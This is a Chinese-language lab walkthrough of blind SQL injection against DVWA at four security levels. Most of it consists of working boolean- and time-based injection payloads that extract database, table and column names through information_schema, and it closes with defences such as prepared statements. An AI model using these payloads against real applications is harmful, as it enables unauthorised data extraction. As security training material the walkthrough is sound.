1. 程式人生 > 實用技巧 >DVWA靶場(七、盲注)

DVWA靶場(七、盲注)

一、盲注介紹

盲注就是在SQL注入過程中,伺服器並沒有給客戶端返回資訊。通過盲注可以對程式對應的資料儲存區進行對應的探測。盲注分類可以分為基於時間和基於布林以及基於報錯的盲注。

  1、基於時間,注意是否有延遲
  輸入1 and sleep(5)#
  輸入1' and sleep(5)#
  2、基於布林,注意返回結果是否相同
  輸入1' and 1=1 #
  輸入1' and 1=2 #

二、盲注(low)

2.1、程式碼分析,low級別的程式碼對引數沒有做任何過濾,以文字框輸入並提交的形式,GET請求方式

2.2、通過brup抓包,把請求訊息copy到kali中,通過sqlmap探測得到注入點和資料庫內容


2.3、手工盲注的步驟,首先判斷是否存在注入,注入是字元型還是數字型;接下來依次猜解資料庫名、表名、欄位名、資料。
輸入1,顯示存在;輸入1'and 1=1#,顯示存在;輸入1’ and 1=2 #,顯示不存在;說明存在字元型的sql盲注

2.4、猜解當前資料庫名,首先猜解資料庫名的長度,然後採用二分法猜解資料庫名

  猜解長度:
  輸入1’ and length(database())=3 #,顯示不存在;
  輸入1’ and length(database())=4 #,顯示存在:
  猜解資料庫名:
  輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明資料庫名的第一個字元的ascii值大於97(小寫字母a的ascii值);
  輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明資料庫名的第一個字元的ascii值小於122(小寫字母z的ascii值);
  不斷重複猜出資料庫名為dvwa

2.5、猜解資料庫中的表名,首先我們先猜解表的數量,說明有兩個表

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

MYsql資料庫結構

挨個猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在

…

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說明第一個表名長度為9

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在

說明第一個表的第一個字元為g,重複上述步驟即可猜解出兩個表名(gusetbook、users)
2.6、猜解表中的欄位名,首先猜解表中的欄位數量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在

…

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說明users表中有8個欄位,然後挨個猜解欄位名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在

…

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說明users表中第一個欄位為7個字元長度,採用二分法即可猜解出所有欄位名。
2.7、猜解資料
採用二分法挨個猜測

三、盲注(medium)

3.1、程式碼分析,利用mysql_real_escape_string函式對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,控制使用者不能通過文字框輸入只能通過下拉選單選擇。

3.2、這裡只能通過brup抓包修改引數id進行查詢,首先是基於布林的盲注:

抓包改引數id為1 and length(database())=4 #,顯示存在,說明資料庫名的長度為4個字元;

抓包改引數id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明資料中的第一個表名長度為9個字元;

抓包改引數id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進位制),顯示存在,說明uers表有8個欄位。

然後是基於時間的盲注:

抓包改引數id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明資料庫名的長度為4個字元;

抓包改引數id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明資料中的第一個表名長度為9個字元;

抓包改引數id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個欄位。

四、盲注(high)

4.1、程式碼分析,可以看到,High級別的程式碼利用cookie傳遞引數id,當SQL查詢結果為空時,會執行函式sleep(seconds),目的是為了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

4.2、雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。但由於伺服器端執行sleep函式,會使得基於時間盲注的準確性受到影響,這裡我們只演示基於布林的盲注:

抓包將cookie中引數id改為1’ and length(database())=4 #,顯示存在,說明資料庫名的長度為4個字元;

抓包將cookie中引數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明資料中的第一個表名長度為9個字元;

抓包將cookie中引數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進位制),顯示存在,說明uers表有8個欄位。

五、盲注(impossible)

5.1、程式碼分析,可以看到,Impossible級別的程式碼採用了PDO技術,劃清了程式碼與資料的界限,有效防禦SQL注入,Anti-CSRF token機制的加入了進一步提高了安全性。

常見防範措施

1、過濾使用者輸入
2、使用預編譯處理SQL語句(PDO、Sqlparameter)
3、使用OWASP等安全的sql處理API